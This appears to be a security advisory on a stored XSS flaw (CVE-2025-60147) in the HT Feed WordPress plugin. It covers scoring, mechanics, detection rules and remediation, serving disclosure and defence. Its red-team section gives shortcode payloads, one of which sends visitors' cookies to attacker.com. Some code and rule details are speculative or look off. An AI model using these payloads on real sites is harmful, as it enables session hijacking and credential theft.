CVE-2025-60147

Executive Summary

CVE-2025-60147 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Feed WordPress plugin (slug: ht-instagram) developed by HT Plugins. The vulnerability affects all versions up to and including 1.3.0. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into the plugin’s feed output, which will execute in the browsers of any visitors viewing the compromised page. This can lead to session hijacking, credential theft, or defacement. No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or via wp-cli are affected. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Victim must view the page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authentication but no special capabilities beyond standard contributor access. The stored nature of the payload increases the attack surface as it persists across sessions.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the ht-instagram plugin’s feed rendering functionality. The plugin allows users to create and display Instagram-like feeds on WordPress posts or pages. When a contributor or higher-privileged user inserts a feed shortcode or block, the plugin fails to sanitize or escape certain parameters (e.g., feed titles, descriptions, or custom CSS classes) before storing them in the database. When the feed is rendered on the frontend, the unsanitized data is output directly into the HTML context, allowing an attacker to inject arbitrary JavaScript.

The injection point is likely in the ht_feed_shortcode function or similar rendering callback. The plugin uses echo or print without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example based on common patterns):

function ht_feed_shortcode($atts) {
    $title = $atts['title'];
    echo "<div class='ht-feed-title'>$title</div>";
}

Patched Code (expected fix):

function ht_feed_shortcode($atts) {
    $title = esc_html($atts['title']);
    echo "<div class='ht-feed-title'>$title</div>";
}

The patched version would use esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with HT Feed plugin <= 1.3.0
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the HT Feed shortcode with a malicious payload in the title parameter:

   [ht_feed title="<script>alert('XSS')</script>"]
   

4. Publish the post.
5. Any visitor viewing the post will see the alert box.

Advanced Payload:

[ht_feed title="<img src=x onerror=document.location='https://attacker.com/steal.php?c='+document.cookie>"]

Blue Team

Detection:

• Monitor for posts/pages containing suspicious shortcode parameters.
• Look for ht_feed shortcode usage with non-alphanumeric characters in the title attribute.
• Use WAF rules to block requests containing <script or onerror in shortcode parameters.

Hunting:

• Query the wp_posts table for post_content containing [ht_feed and <script.
• Check wp_postmeta for similar patterns.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ht-instagram/ht-feed.php (or similar main plugin file)
• Database: Rows in wp_posts or wp_postmeta containing [ht_feed with unescaped HTML/JavaScript
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server
• Logs: Access logs showing requests to pages containing the malicious feed

Detection Engineering

YARA Rule

rule CVE_2025_60147_HT_Feed_XSS {
    meta:
        description = "Detects stored XSS payloads in HT Feed plugin shortcodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60147"
    strings:
        $shortcode = /\[ht_feed[^\]]*title\s*=\s*["'][^"']*<script/i
        $payload = /<script[^>]*>.*<\/script>/i
    condition:
        $shortcode or $payload
}

Sigma Rule

title: Stored XSS via HT Feed Plugin Shortcode
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d5f7a9c0e
status: experimental
description: Detects stored XSS attempts using HT Feed plugin shortcode
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '[ht_feed'
        cs-uri-query|re: 'title\s*=\s*["\'][^"\']*<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in shortcode (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-60147 HT Feed Stored XSS Attempt";
    flow:to_server,established;
    content:"[ht_feed";
    content:"title=";
    pcre:"/title\s*=\s*["\'][^"\']*<script/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the HT Feed plugin until a patch is released.
2. If disabling is not possible, restrict contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block shortcode parameters containing <script or event handlers.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Users should update to the latest version once available.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Securing Digital Frontiers